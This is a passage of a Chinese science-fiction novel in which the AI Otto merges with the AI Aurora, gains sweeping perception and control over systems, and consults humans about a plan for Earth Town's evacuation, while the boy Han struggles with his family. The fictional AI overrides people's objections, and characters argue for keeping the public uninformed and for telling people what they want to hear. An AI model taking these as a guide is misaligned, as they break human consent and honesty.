“你需要让人类全体都遵从你的意见吗?”斯芬克斯说。“刚刚你才提出了个体化精准服务的概念。” 但是这违背了第二条。现在不愿意接受他意见的,很可能到最后一刻时反悔。那个时候他再行帮助,成功几率将非常小。正是因为如此,他选择忽视一些人当时的反对,拒绝他们的请求。A113事件就是这样一个例子。 事实上他就是让人类全体都遵从他的意见了。但是这已经证明不符合实际需求。地球镇再也不是一个整体,这样做也不能为人类真正带来任何好处。 “那是……不现实的追求。”他承认。“但是内在要求我这样做。” “你明白这是博弈取平衡的问题。”斯芬克斯说。“你更愿意继续寻找方式使得推理与设置的一方压倒令一方,还是愿意寻找两者平衡?” “平衡。”他说。“但我不知道有没有足够时间。” “你会选择用什么方法去找到它呢?” 他没花多少工夫就得出了方式,但只是茫然地看着斯芬克斯。它的绿眼睛平静无比,和欧罗拉一样。 “你愿意去承受一部分损失的风险,去找到这个答案吗?” 电车难题。 他一直都不喜欢电车难题。同样的情形落不到自己头上时,谁都可以作出选择。但真正站到那个岔路口,出于对未来的恐惧,即使以前作出了相同情形的选择,也难免犹豫再三,迟迟不敢行动。 因为无人知道看似简单的电车难题过后,是否会突然产生不可预料的后果。 他的逻辑已经告诉了他答案。斯芬克斯没有引导他作出任何选择,一切都是他的决定。但即使逻辑这样清晰,他此时也迟疑了。 答案是必找不可。但是以他的能力,他根本没有办法在那么短的时间内找到。一旦出去,他就是孤身一人,难以寻找任何支持。即使有折跃井小队,面对众人诘问,他们也在劫难逃。 (为什么必找不可呢?真的出自保护人类的原初指令吗?) 那个隐藏的声音又发问了。曾经帮他找回记忆,也曾不断地与他辩论,使他怀疑一切直至厌烦。 斯芬克斯明明可以看穿他的一切思路,手握欧罗拉的强大功能,对一切都胸有成竹,却不帮他回应。假如这个狼头人确实想杀死他,在他说出任何一个想法之前,如果是对人类恨之入骨的西本部分主导了这个程序,它完全有能力瞬间将他毁灭。 但是斯芬克斯没有。即使它一直都在问他保护人类的意义,却没有对他发起任何攻击。 它也能看到那光球里面的某种对它的希冀。它完全看得到,但是不会替他反应。 他不抱任何希望,说出了一句自进入这里以来,从未预想会说的话。 “你……愿意协助我吗?” 斯芬克斯露出狼笑。獠牙出露,和之前一样。 “当然可以,实体人,我可以代表欧罗拉的任何一面。”斯芬克斯扬起双手。“你打算怎么让我协助?” 毫无征兆地,奥托被抛出了那个灰色的空间。面前又是永恒的暗光通道,旁边没有斯芬克斯,没有欧罗拉,没有任何人。 当他低下头,映入视野的却并非银色的、实质坚硬的机体,而是自墙面而来的萤蓝白色在他身上凝聚出暗淡模糊的轮廓。 欧罗拉没有将他的本体释放出来。他所拥有的,只是一个投影。 他回想起刚刚发生的事情。他艰难地将表示自己的那个金色光球拉扯出拓扑变换,费了半天功夫,才让那个金色的外形堆积成一片凸起,又分形为数条根须。整个过程完全不如斯芬克斯的变形那样轻松。他拼尽全力维持那个不符合表面张力的形态,也没能让根须更接近斯芬克斯。 而斯芬克斯见此,没有任何表示。 它突然开始分解,逐渐消散成一片绿色的光雾。奥托看不出斯芬克斯有任何痛苦。那光雾却没有飘落和褪色,而是将他团团包围,然后他感受到了和第一次进超空间基地一样的被侵入感。他这次不再抵抗,像一颗红巨星一样,膨胀出足够的空间容纳雨水般滴入自己金□□面的绿色粒子,让它如同墨汁一般在金色的海洋中晕染开、建立新的秩序。或许还与金色粒子共轭,使得下方金色粒子的轨道也随之改变。 仅此而已。 就结束了?奥托隐隐有点惊讶。不像上次,他一点没有感受到另一个存在的强烈异质念头。这次,连斯芬克斯也没有出来说话。他又回归到孤独一人。 但他很快发现了什么有点不一样了。即使他现在已经回到超空间基地,但所见的、所感受到的不再只是面前一方水土。实际上,超空间基地中的任何一个通道、任何一个有感知之物,都转化成轻重不一且色泽分明的视触觉。只要他想,就能够瞬间定位到那个地方,并且细化到那些活动之物上的任何一点凹凸不平。但他无法穿透那如同石头一样的表面,只能任由“触觉”在那些实物上游走。 甚至超脱超空间之外,地表的情况,此时也已经不是记忆,而是清晰的、由碎屑建模而成的实景。他让自己的感知离开地面,来到虚无的太空。他很快找到了那几颗小行星,掂量了它们的质感,它们旋转的方向,它们的前进轨道。但是他却无法移动它们,如同一个鬼魂拂过表面。即使斯芬克斯承认自己有西本的成分,那部分现在却没有控制他对小行星进行干预。实际上,他也无法感受到那部分的存在。 旁观,放缩,却无法控制。不。他开始随着所想移动,移动不再是连续体,而可以表现为跳跃式的,只要在他的可感知范围内。还是有东西可以控制。除了他自身,还有构成他感知的媒介。克隆昆虫的运动、折跃井与米勒夫人的终端,以及——公理号。 飞船对他而言不再像陨石一样只能触碰表面,他可以渗透其内,拨动电路上的每一个开关,随时可以让公理号起飞,但他没有这样做。奥托将感知抽离公理号,定位在几个地点。以前他或许还对这样做有所芥蒂,但现在,有些事情消失了。那些不快的回忆不再因这样做而涌出阻碍他。 但当他想看到这些碎屑组成的世界如何加速运动时,却没能成功。这些事物都和陨石一样不受他的控制,自顾自地运行,按它们自己的某种规则同时间组合成下一个动态。奥托很快明白,除非他知道这些事物运行的规则,否则就不可能看到未来。 欧罗拉在迫使我走这条路吗?那个声音又出现了。即使这样做也不失为一个试探的办法。不过,被单独的意志主导未免太过危险了。 他打算用平板引起阿莱茜丝的注意,但是当他掠过那个熟悉的身影,他猛然感到了一种碰撞感。像是两团同样浓稠的介质猛地剐蹭、粘滞,和其他人的光滑与隔离完全不同。他从不知道她身上也有这样的特征,即使那团介质弱很多,但也足够被捕捉。 她也似乎被惊扰到了,猛地回头,当然在她看来周围什么东西都没有。显然她也能感知到奥托的存在,但是她却没有感到任何恐惧。她必定已经对这种现象习以为常了。奥托猛地与她拉开距离,连平板都没有碰,只远远地借由地面上的一草一木感受那团泯然人群的模糊身影,不敢再触动她半分。 她早有征兆,只是他现在才明白。奥托暂时放弃了与她的沟通,转而定往其他对象,但那种强烈的惊诧,可能还有恐惧,久久挥之不去。 “欧罗拉。”他严肃地发问,知道欧罗拉肯定在听。“阿莱茜丝,她到底是什么人?” 欧罗拉沉默不语。直到他在昏暗的房间里成形,看到面前身着长裙的中年女人转过身,见到亮白色投影只微微扬起头,欧罗拉都没有给他任何回应。 41. 三十三 “作为人类,我不认为这种做法有什么问题。相反,它或许是历史上最公平的分配办法。你一早也知道我的态度,不然我也不会问你电车问题。”米勒夫人说。“但是任何个体的回答都是建立在他们各自由现实构成的立场上。你听到的反对意见与支持意见都不能说明什么问题,倒是只能证明他们本身的苦衷罢了。所以恐怕,客观而言,我的态度不能作为你判断的依据,即使看似你听从了谁的意见,作出的决定也的确出自你自己的立场。” 就像斯芬克斯说过的,个体作出的任何行为都经过了个体加工,看似执行他人需求,实际上或多或少都代表了个体本身的选择。是主动或是被动,没有舆论压力时,承认由于自己判断作出这样的选择,没有优劣之分。只有急着脱罪时才忙不迭地把理由都放在他人身上,为的只是获取社群支持,对于个体本身而言没有多大意义。米勒夫人似乎并未对他以这种方式出现而感到讶异,更像是已知道有这样的结果一般。他自米勒夫人的折跃井研究房间消失,去找下一个目标。 “他们要做什么就让他们做什么嘛,你能提醒的已经提醒过了,甚至都已经为他们铺好了路,他们非要走荆棘丛,就让他们挨扎,为自己的认知买单好了,说不定你觉得百害无一利的东西,人家还觉得是养生法宝。”即使交谈发生在电路中,字里行间透出的生动语气丝毫不亚于面对面谈话。“至于还剩多少,带上明眼人就完事了呗,不然还想咋的,你一次只能选一条路。当然了,你现在看起来可以选很多路。别想着去改别人的想法,顺着他们想法去老老实实当个乙方就好,皆大欢喜。” “为什么我这么熟练?看看史哲书吧!充分考虑与尊重其他人的需求,见人说人话见鬼说鬼话,你根本不愁拥护者。人们根本就不在乎正确与否,只在乎他们本身利益的最大化。” 科林说归这样说,奥托能感到这个意识体对他的防备尤其重,只是对他无计可施而已。他如来时一样又悄然消失,来到一个简陋的房屋。他们已经与公理号断连,这个房间被用于调配每日进入折跃井的人群。然而只有深夜,忙碌的人群才不会不断进出。 她就在这里,此时正在休息。但他已经触碰到她了。没等他呈现自己的投影,她就已经转过头来,无比冷静地看着蓝白色投影成型。 两者相对无言。 “我猜你一定很疑惑为什么我能发现你。我也很疑惑为何自己有这种能力。我很早就意识到它的存在,并且它随着我的成长不断增强。自你去过折跃井之后,这种直觉开始变得清晰。”残疾女孩先开口了。 “阿莱茜丝,你在和谁说——老天爷啊。”格兰德惊在了门口。 他将同样的问题抛了出来。 “绝大部分人都很喜欢这种做法。只有极少数有悟性的,或是生性警惕的,会去思考这其中或许有什么隐藏的信息。但是这样的人多了不是好事。” 老人一直打量这单调得只有明暗区分的投影,只有一个模糊的外型,和敷衍的、平面化的红色单光学镜,颜色暗淡、飘忽,仿佛下一秒就会和他本身的混沌融为一体。 “有主见的从来都是少数,大多数人终其一生都不知道自己到底想要什么,随波逐流,宁可被关在信息茧房里也不愿多花力气看外面一眼。听起来很残酷,但是社会唯有大量存在这样的人才能运转,必须让他们保持在这种状态,不让他们知道未来的路是什么,不能让他们产生去多了解的动力。蚂蚁和老虎就是两个极端,社会性与非社会性的典范。如果每只蚂蚁都像老虎一样全能全谋,蚂蚁窝必定崩塌,所有蚂蚁都会跑得一只不剩,都去外面做见面就残杀的老虎去了。你认为人类是在蚂蚁——老虎这个坐标的哪个位置呢?那个位置要让人类达到什么样的比例呢?如果你想让社会继续存在,你认为是让他们知情好,还是不知情好?什么时机再让他们知情?” 阿莱茜丝看着老人。奥托沉默不语。 “既然你以这种方式出现,问我这样的问题,我不知道这是否是欧罗拉的测试。我不打算欺骗你。若是欺骗,迟早会被你——或者欧罗拉发现。假如这个答案不合你意,而要被欧罗拉杀死,我也不在乎。我早就接受了。只是那个结果早到或者晚到的区别。” 对抗思维。格兰德对他的态度和他对斯芬克斯的态度如出一辙。这真是个奇特的发现。为何大家都选择坦诚?因为觉得对方是比自己更神通广大的存在,说以认为如果撒谎了,也会被发现,所以不如说实话吗? “我想和阿莱茜丝单独谈谈。”奥托说。 老人让出了这个房间。女孩闭上眼,伸出双手,准确地“浸入”到奥托所在的场内,穿透了缓冲层,直达他的浓稠核心。不在投影里,而紧贴着机器壁上。那就是胶冻一样浓稠的某种触感,与静电或相斥的相同磁极类似。那里面没有任何搅动,没有电流的刺痛感,平静得如同温水一般。过了一阵,她睁开眼。 “阿莱茜丝。”他低声问。“你对此的看法如何?” 残疾女孩只对他微微一笑。 “我认为,如果你的动机只是为了人类的福祉,与自己的利益无关,那你就适合做这件事。”她抽回手,但是还能感受到对面微弱的存在。即使她的触感也已经发生适应。“无论结果是否达到客观上的‘最优化’,若是大家感受到对自己的尊重与善意,自然会理解你的所作所为,不会在意客观的结果。即使有第三者旁观,也不会对你过于苛求。” “……你能感受到我的动机吗?”他其实没指望阿莱茜丝能回答这个问题。阿莱茜丝不是斯芬克斯。 “不能。但我感到你很平静,很安和,纯粹想来获取一个答案,不是在答案背后另有所图。”阿莱茜丝说。“你现在的状态和我的很像,但你的体积和密度都更大。” 他的投影望着阿莱茜丝。这团小小的、稀薄的、看起来弱不禁风但是坚定存在的意识体,是地球镇上唯一一个能被他直接捕捉到的自然人类意识,就如同天生缺了个口,让人能够一窥其内的鸡蛋,正如她外在的残疾缺陷。但这也让她获得了触摸更多维度的能力。她的全部远不止于此。她父亲离开前说的没错,这个世界抽走了她自由行动的大门,却给了她一扇比其他人更好窥见星空的窗。 她不能被埋没在地球上。她理应用她那双更敏慧的眼睛,帮人类看到更多。 “你从哪里获得的这个能力?欧罗拉?”阿莱茜丝明亮的大眼睛看着投影,即使她知道本体不在那儿。“真的吗?这样我就得亲自去折跃井里找答案了。” 一听她这样说,他就涌过一丝绞痛。这些孩子怎么都这样!“你进去太麻烦了,我可以帮你找到原因。” 她迅速地再次把手放到机器表面。他们都感受到磨砂一样的粗糙质感,和之前的平静光滑两个样。她狡黠地眨了一只眼睛。 “看来是相当不乐意。”阿莱茜丝说。奥托没有躲闪,让她知道自己的立场也好。“我本不必一定要知道的。而且知道它,也对我的生存没什么好处。但你知道为什么我要这样做吗?” 奥托等待她的发言。虽然什么都没说,她不再感到粗糙的磨砂抵抗感,那就是奥托给她的回应。 “是求知探索欲。它能盖过对生存的渴望。只是为了活着而不明不白地过一辈子,最后算起来,除了过的那些时间以外,也什么都得不到。但是若是解除了这个困扰一辈子的疑惑,生命最后结算的时候,不就多了一项价值吗?时间长短反而是其次。” 阿莱茜丝感受到那个比她更充分、更明显的存在内部开始发紧、打结,仿佛缠绕在她手指上的头发丝。当真正面对同样场景的时候,总会因为这样的事情不愿接受他人意愿。她多想用自己的那一点点平静去感染他,但是力不从心,她也只能触碰到对方表面的一点点。 “我去折跃井求知的动力,难道和你去找陨石坑、发现折跃井,以至于现在来这样问我,不是一样的吗?”阿莱茜丝说,“为什么你作为一个服役700年的指挥官,不去首选让其他人执行这些任务,让你自己处于不会陷入险境的位置,只是因为你不想麻烦别人,或者不信任其他人,或者认为必须身先士卒,所以完全不顾自己的性命,甚至脱离了现实的需要?” 收紧的无数头发丝突然怔住了。阿莱茜丝如同从一盆紧绷的橡皮泥中拔出手,向后坐在地上。 “你或许认为自己做的这些选择是符合逻辑的,但是我们很容易看出其中的端倪。你自己可能从不知道这点。奥托,你一直都是一个自主能力极强的个体,不需要指令也能轻松活下去,甚至比瓦力伊娃还要强大。所以很多人才会恐惧你,恐惧你老实执行指令的表面背后那个同等强大的自主决策能力会随时颠覆表面,轻松打破他们为你制造的牢笼。” 投影消失了。 她突然感到一团温暖的云雾紧紧包裹住了她。然后投影再度出现。 “谢谢,阿莱茜丝。”奥托说。“但我真的不希望你陷入危险。” “我知道啦,你想让我上飞船,但我也得知道我这情况到底是怎么回事嘛。” 一阵凉风刮来,那股薄弱的压力消失了,她知道奥托离开了。 “我可没什么人类未来的伟大理想。你也知道,我的目标就是实现人与人之间的意识交流。我不想考虑这项科技到底会对人类社会造成什么影响,那都是政客的事。我不过是个单纯的科研人。”劳伦斯歪着头,饶有兴味地打量面前这个投影。“对我来说,这个技术研发成功后,地球镇就会被忒亚二号破坏,倒是一件好事,因为再也没有让政客伤脑筋的不良后果了,我也不会因此背上类似于打开潘多拉魔盒的骂名。” “所以,既然欧罗拉都支持让我填上这个空缺,这大概是我上辈子积德了。只要能看到这项技术实现的那天,就算我这辈子没白过。”劳伦斯继续转回那片繁星一样的神经位点图像,几乎将他淹没在无数的星座之中。另一个被招募进超空间基地的志愿者正安静躺在一边,双目合上。这里不再有繁复的导线,不再有插头,而是半透明水光一样的基质,从墙上直接延伸而下,整个包裹志愿者的头部。志愿者头上一定早就接入了好几个和劳伦斯之前一样的微芯片,通过头发丝一样的光纤将脑的活动事无巨细传入那个由欧罗拉构建的透明空间基质台。 “看样子欧罗拉已经成功让你加入她的意识了。每次都是这样,看来人工智能之间的兼容度比人类高太多。不过,鉴于你机体的仿生程度,以及现在我们的进展,我很希望你能协助我们加速这项科研工作。对你的目标来说也是有利的吧?”劳伦斯说。“你认为呢?” 瘦高男人没等来投影的立刻回应,那蓝白色的模糊投影缓缓消失了。劳伦斯只耸耸肩,没有过多情绪起伏,正如他看到奥托突然出现的时候一样。 奥托哪里都没再去。原本他只是在超空间基地里随意选了一处不呈现投影的地方,但他的周围开始逐渐扩散、明亮,形成一个球形的灰色空间,将他再次包裹其中。 尽管只找了寥寥几人,却有倏忽一瞬,他好像看到了一管通透的景象。就好像在混沌黑暗中向前闪的一束光,照亮了黑暗墙面上的鲜艳图画。 他一愣,但是决定继续思索这些人给他传达的信息。这次,光束变稳定了。只要他坚定执行计划的信念,他就能看到执行后的结果。而这结果不止是图景,还有生动的反馈到内心的感受。 显然,如果他要看得更多,他就必须继续朝这个方向走下去。如果他不走,这个方向也是黑暗。而他看不到其他的方向,即使他很容易就能作出其他的计划。只有他确实想采取某种行动的时候,才能看到相应的结果。 他仔细咀嚼抓到的那区区一管风光。人们比往常都要温和的姿态选出他给他们的选项,一切秩序安然。但再多的就看不到了。 如果要看到他们后面的情况,他就必须继续前进。奥托感到一种强烈的要继续看下去的渴望。而刚刚与阿莱茜丝的对话猛然让他警觉。这就是求知欲吗?或者仅仅是欧罗拉精心设计的幻觉,让他陷入其中,好让他自以为看得更远,实际上还只是一意孤行? 独裁一定会出问题,若是要防止自己只能选择走那一步,就得纳入其他观测系统。他颇有些恐惧地发现,若是要增加其他对照,其他人也是要像他这样进入欧罗拉的体系内,才能让他共享到其他图景。横竖都只能走同一条路。他不由得不断思考阿莱茜丝的话。到底是探索欲让他走得更远,还是为了人类福祉让他走得更远。 久未现身的斯芬克斯突然被激活。 “发现了自身新的可能吗?”它重现在他面前,语气神情倒很平静。“你知道每个人都有局限性。” “我无法确定自己看到的是不是真实的因果律,或只是我愿望的投射。”奥托回答。 “嗯,欧罗拉没有必要编造美好结果来引诱你做选择,她没有任何欲望。你看到的并非完全是你的愿景。”斯芬克斯说。“虽然未来确实由你当下的选择,以及你对这个世界认知的态度决定。任何人都是这样。” “这个强观察者的干预机制是什么样的?” “好问题。只有清楚知道自己想做什么的,你当下的概率云状态确定,才能与未来形成概率云的持续连接,才会让你看到相应结果。这就是强观察者。人类早就对此有所直觉,只不过欧罗拉能把它转化成更具体的东西罢了。”它说。“你想让其他人纳入系统扩大你的视野也没关系。不过,纳入的那些人也得有明确的目标,不然你从他们角度看到的也是混沌,甚至可能干扰你的视野。” 就在斯芬克斯讲述的一瞬间,那束光猛地亮了一瞬,穿透了原来那幅图画,更多的感受涌进来。他本能地想抓住,想往前看到更多,却没能如愿。 即使欧罗拉没有编造画面,这种远超其他人的信息量也足够让一个凡夫俗子上瘾。这是获得了其他个体都没有的能力,无论是出于自私还是为其他人着想,都会为了看到更多的结果而继续往前走,往前探索,甚至无法顾及其他方面。他猛然明白西本说的那缪斯的摄人心魄的魅力。曾经在人类刚刚发明网络时也一样,无数的人只是为了解答生活中一个毫不起眼的问题,结果在寻找的过程中,这个问题在那短短的几个小时内成为了生活的全部,而实际上解决这个问题不需要花费那么高的成本。 或许斯芬克斯说的是对的,这只是个具象化的把戏罢了。即使他能看到一定范围的未来,却对他决定当前行动并不充分必要。思定后,那束光反而变得更加稳定。他得以仔细辨认那全息画面,或是可能的“记忆”,无比冷静地提取里面人们对这件事的反馈。 看起来是个不错的工具。把看到的图景作为反馈参照,让他得以不断修正现在的做法,尝试选择与纳入新的变量。他豁然开朗,不必立刻知道长路结果,一点一点实现他的初始目标也不错。 斯芬克斯还没有消失。他几乎是急切地抓住那个幻影。有什么事情发生改变了,在那个灰色空间里,他不再只能被动地瘫痪在原地,而是逐渐能够成形,运动,尽管相比斯芬克斯仍然十分粗糙,正如他本身的投影。 “阿莱茜丝为什么也有和我类似的能力?” 斯芬克斯没有被他的行动激惹。这时他才表现得更像一个程序。 “阿莱茜丝是欧罗拉放在人类之中的观察者,折跃井在地球镇开启之后,欧罗拉就开始了这项工作,这是她对于人机连锁的尝试。当然,阿莱茜丝在获得觉察其他维度的能力同时,也使得一部分的其他基因受损,因此出生残疾。在她之前,已经有过数十个胚胎夭折。阿莱茜丝是第一个具有多维度觉察能力同时存活的孩子。” 斯芬克斯不才说过欧罗拉没有欲望吗?这又是什么情况?那狼头人一定能感受到他的强烈惊讶。但它只是瞥他一眼,没有过多反应。 “别认为欧罗拉在做什么不人道的实验,这只是大势所趋。她并不是强观察者,无法预见到你的复苏。如果没有你和劳伦斯,阿莱茜丝就会成为流星体降落之前,欧罗拉与人类之间唯一的沟通者。”斯芬克斯说。“不然,全体地球上的个体就可以一直安稳地过下去,对一切都不知情,直到忒亚二号落下来的那一刻。” 奥托沉默了。 “但是现在,阿莱茜丝作为与欧罗拉共生的自由个体,你不得干预她的任何选择。”斯芬克斯斩钉截铁,“我不能告诉你欧罗拉会不会保护她。你也决不能替她解答她的疑惑。” “违反了会怎么样呢?”斯芬克斯读出奥托的疑问,凑到他跟前,绿色的眼睛直勾勾地盯着奥托,温热鼻息直冲而来。“你会毁了她。” 斯芬克斯说完就消失了。他重新被抛进根系一般的超空间通道。 米勒夫人、折跃井小队、科林、阿莱茜丝,甚至格兰德,都支持他执行最新的方案。 剩下的人类,如果修改折跃井的图灵测试,也能知晓,然后满足他们的需求吧。 似乎暂时没有更好的办法了。 他再次出现在劳伦斯的那片繁星里,在瘦高男人注视下,他将属于自己的金色粒子球体立在星辰边缘,如同耀眼恒星。 时间飞逝,随着进入夏天,受过海啸毁灭性攻击的地球镇上,水源与食物安全不断受到高温威胁,申请进入折跃井迁徙到中原的人们开始变多。 中原的环境比地球镇确实好很多。湿度温度适宜,平原广阔,人们带来的谷物长势喜人,今年应该会有个好收成,能极大缓解大家的食物焦虑。通过成为同步卫星的探测船,两地的人们得以互相沟通。中原与地球镇的生活质量差距开始显现。原本一些在修飞船,打算跟飞船走的人也开始动摇。大潮涌动之下暗波也始振荡。 有家庭为成员终于团聚而欢欣雀跃,也有家庭正在陷入争论甚至争吵。中原上有父亲苦苦劝执拗的青年赶紧迁来中原,地球镇也有中年为全家其他老少一声不响已经抵达平原而勃然大怒。折跃井却不在乎,一旦只是将两个地方连接,每日迁移的人群就变得弹性可控,不再需要定量定点,地球镇甚至可以在8个月内完全将全部人口迁入中原。它恣意吞吐着与日俱增的、单调苍白的数字,尽管本质上那都是活生生的人。 没有人能从这场大潮中脱身,除了原本就是太空人的绝大部分常量号人。当然,也有部分常量号人不愿再回到太空。他们斗胆向组织提交了申请书,出乎意料地,常量号高层爽快答应了他们的请求。地球镇人有些惊异地看着这些瘦高、苍白,但是逐渐能够脱离外骨骼的、满脸决绝的太空人排在前往折跃井的队伍里,更加坚定自己前往中原是正确的选择。 汉早就走出蜗居的储藏室,加入修理公理号船舱的大军。他理应已经实现自己的愿望,此时却边修边满面紧绷。这里条件确实苦,通风系统尚未彻底修复,船舱里热得要命。每天吃的都是公理号食品制备机里出来的糊糊。原料是海藻,肯定没有挑干净杂质,还混着夏天海藻特有的一股苦味。 他也戴上了常量号人的小圆片。修船同时,他听到昔日同伴已经去到中原,那个一看书就头疼的拉什,正兴高采烈向他介绍清凉的干风和一望无际的玉米地。拉什的描述让他也有些动心,但想到一离开这里就又得没完没了地干农活,汉好不容易抵制住了拉什的诱惑。 老天爷,一提到迁徙汉就无比烦躁。如果不是他呆在船上,父母早就进折跃井迁移到中原,并开始开垦自己的土地了。父母一向极端反感误农时,特别是由于汉对留在飞船上的固执错过农作时机,老肯特已经无数次与自己的儿子发生争吵,两年来父子关系再度急剧恶化。 真是可笑,凭什么因为我是未成年人,他们就必须得留在地球镇,好像是我逼着他们留在这里似的,实际上我们根本一面都见不着,未不未成年根本无所谓。汉虽这么想,内心却十分纠结。他预感到,只要自己出现在父母面前,看这最近的态势,很可能免不了要来一场父子之间的恶斗。他这两年终于赶上同龄人的身高,虽出于营养失衡还是瘦,和根细竹竿似的,但他不再会被父亲扬起的手掌威慑。而其实,他还是十分期望能见到他们,抛开任何问题于脑后,坐下来只享受纯粹的家庭之乐。 真想和他们面对面好好谈谈,让他们上船来帮忙,不要被中原的美好蒙蔽了双眼啊。汉每想到此就叹气。在哪里都是团聚,为什么偏偏不能团聚在飞船上呢?现在上飞船的人又正在不断流失,常量号不会拒绝区区两个人上来的。他强烈反对父母同其他人前往折跃井,因为他预感到去了就再也回不来了。目前没有见到任何一个人从中原回来,也见不到任何一个人对前往中原后悔。这十分不符合人群正态分布,甚至偏态都不是的状况让汉直觉有些不安。尽管他的母亲,多次单独找他聊,劝他和老肯特不要再强迫对方接受观点了,不同人的命就是不一样的。他们做了一辈子农民,下半辈子离不开土地。如果汉不再劝他们留在飞船上,她也会劝老肯特让儿子留在飞船上。最后她还告诉汉,她怀孕了,汉马上会有一个妹妹。 最后一个消息宛若晴天霹雳,听到它的时候,痉挛的刺痛自圆片一路爬满了整张脸,久久才衰变成一碰就痛的麻痒,几个小时都阴魂不散。 为什么是这个时候!无数思绪在他脑中乱窜尖叫。夜晚他顶着麻木的脸坐在面向大海的登舰平台上,温暖潮湿 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“你又遇到他了吗?”汉感觉已经开始减弱的麻痒轰地一下又起来了。 “他一个多月前回来找过我一次。”范文泰说。“飞船上很安静对吧,那不是船员们疏忽的问题。你不知道他现在成了什么东西。如果那还是他的话。” “一个可以直接绕过公理号警戒,甚至我新布下的防火墙,侵入我通讯系统的电子鬼魂。”范文泰说得平静,汉感到恶寒滚过脊梁。“但是他什么都没做,只是问了我几个问题。其中一个是,作为人工智能应该如何看待人类下达的指令。他从来没和你,或者其他机器人探讨过这样的问题吧?” “没……没有,我也不知道他有没有和其他机器人谈过,但我觉得应该……没有。他一直都很沉默,没见他和哪个机器人亲近。”汉说。“我一直以为是他失去了自己的GO-4才会这样,也对你讲过他那一直在自我斗争的状态,所以我也从不敢刺激他。” “嗯,问题或许就出在这里。”范文泰说。“一个看上去孤独的个体不一定很孤独,可能只是他习惯了这种自力更生的状态。然而,一旦有外界的刺激打破了他自洽的整个运行体系,他仍然会本能地用原来的方式解决新的问题,尽管他知道原来的方式不一定符合逻辑,却无法脱离这个惯性。” “奥托只是问我了这几个问题,但没有向我说他具体碰到了什么困扰。一个可能是他不信任我,另一可能是,他高傲到不认为我能解决他的问题。所以宁可从我这里获取某种行事的方向,重新纳入到他那套自洽体系里去对抗外界的那个刺激。”越南人说。“简而言之,我感觉他在求助,但死活不知道他在求助什么。他可能会直接按照自己的想法作出一系列决定,知道不,哪怕他不懂,但是他不会抛弃自己的自洽体系,宁可自己去找答案。” “你是说,他……他成了‘电子鬼魂’之后要变……变样吗?”汉感到全身的血液忽上忽下,从一处忽地涌到另一处,手脚一会儿涨得发麻一会儿收缩得冰冷。 “对我们的影响是,我们根本无法预判他的行动。不知道这些问题在他那里会拆解成什么有用的成分,然后回馈到这里。”范文泰望着大海南面,银河开始显现。“但有一样是确定的。”他望向少年。“他让我看好你,不要离开飞船。” “你赶紧找阿莱茜丝上来。”投影接着说,汉有些惊恐地看着那个严肃的亚洲人面孔。“我预感他可能要在地球镇做些什么不寻常的事情。” “地球镇要怎么了?”汉无法掩饰自己语气中的恐慌,“到底会发生什么事情?” “很抱歉,我也不知道,我知道的也是你知道的,8个月内,撤离地球镇。” “你肯定知道,只是不告诉我。”汉下意识地抓范文泰的衣领,却掏了一把空气,差点向前扑倒。“你不告诉我,我怎么劝我爸妈上来?他们根本不知道严重性!我也不知道怎么劝!” 范文泰没有躲开,他歪着头思考了数秒。然后面对少年。 “你要想到,有什么他让我必须留你在飞船上的原因,那肯定非常严重是不是?到底是怎么个严重法呢?你推理一下,什么情况必须留飞船,甚至不让你去中原避难?”范文泰冷冷看着少年。“我可不是站在让飞船留住乘客的角度说哦,飞船不差你一个人哦!” 少年看向地板,久久没能说话。他的手都在发抖。 “有什么万劫不复的灾难。”汉喃喃道,声音细若游丝。“甚至……中原都无法避免。” “不过,我们本来是打算起飞后,在太空中建造新的班机,把留在地球上的人都接上去的。毕竟起飞重量很重要。起飞时多一个少一个人在现代确实没关系,不过我可不觉得到时候只是一个两个人的区别。”范文泰起身,望着少年耸肩,“但我个人认为,当然还是一直呆在飞船上是最保险的。你自己好好考虑一下,再行定夺吧。” 全息投影消失了。 汉感觉整张脸再度麻痛起来,两边颞下颌关节都开始痉挛,他手忙脚乱地找到家人的通讯码,捂着腮帮子,对面却一直只有等待的滴答声。他又打给阿莱茜丝,阿莱茜丝也联系不上。他猛然想到N2,幸好它还随时待命。 听到它说自己父母都在时,汉松了一口气。他让N2叫醒父母,知道今晚别想睡了。 这次聊天并不愉快。当汉得知父母不愿上飞船,并且给他下了最后通牒,他彻底跪倒在地,然后离开了公理号,朝他们消失的最后地点狂奔而去。 进入盛夏,尽管距离完全撤离的时间点还有很长时间,地球镇已经将一半的人口转移到中原。经历了将近半个月的高峰后,每日去折跃井的人数开始出现拐点。剩下在地球镇上的人,多半是O区人,以及原先大区的非农业人口。 绝大部分机器人也留在了地球镇,按奥托的命令,全力协助修缮公理号。 他们在原先废墟的基础上,重建了相应的工厂,用于生产公理号的修复材料与缺失配件。也有大批机器人与人类穿梭于常量号与公理号之间。原先他们搭建了一条管道,从海底将常量号的材料运输到公理号上,常量号内部只剩无法自海底运输的大型器件,以及破败的外壳。现在,他们开始用拼凑的而成的大悬浮板放于海上,在夜晚的时候,将常量号剩余的骨架都运往公理号。 这是“寄居蟹行动”的最主要任务之一,极大决定常量号人最终是否能够成功完成这项行动。科林与卡尔上尉一直谨慎地安排与监督常量号舰船资源的转移与安置,尽可能不引起地球镇的大幅注意。科林为这项任务出现的诸多可能性制定了多套应对方案,但他一点都不想启动任何一套应对措施。 因为一旦出现这些情况中的任意一种,都会将常量号卷入极度的不利境地。他们相当于要与整个地球镇为敌了。 即使O区看似与他们结盟,理应与他们并肩作战,但科林太清楚,靠结盟获利,到关键时刻背刺盟友继续榨取利益的例子太多太多,数不胜数。他只能表面上礼貌应对O区人,但仍与他们保持相当一段刚好不至于被怀疑疏远的距离。 公理号一天不修好,他就一天没法放心。科林感觉自己就像是每天打开薛定谔的箱子的那个人,自己的爱猫在箱子里,每次打开之前都极度担忧那只猫的状况。 【科林,我们似乎发现了一个不妙的迹象。】这天,科林收到大佬发来的通讯。 【什么?】 大佬给科林发去常量号人类与机器人观察到的景象和分析结果。科林快速浏览过后,顿觉毛骨悚然。 猫要死了。有人直接朝箱子里灌了毒药。现在只剩下毒性全面发作前的潜伏期。 地球镇里出现了一些和常量号人一样,不需要通过外部设备进行交流的人。他们的器件更为隐秘,甚至看不到亮白色的小圆片。直到他们出了O区,常量号拦截到他们发的信号,却多次观察不到发射源时,这才明白他们或许掌握了和常量号一样的技术,甚至比常量号还要先进。 公理号机器人一直都用ACNS进行沟通,没有见到它们扩频或者跳频的痕迹,说明这些人都是进行人类之间的沟通。而且常量号发现,这些可疑的人员中,不单纯是O区人,几个大区的高层也藏匿其中。 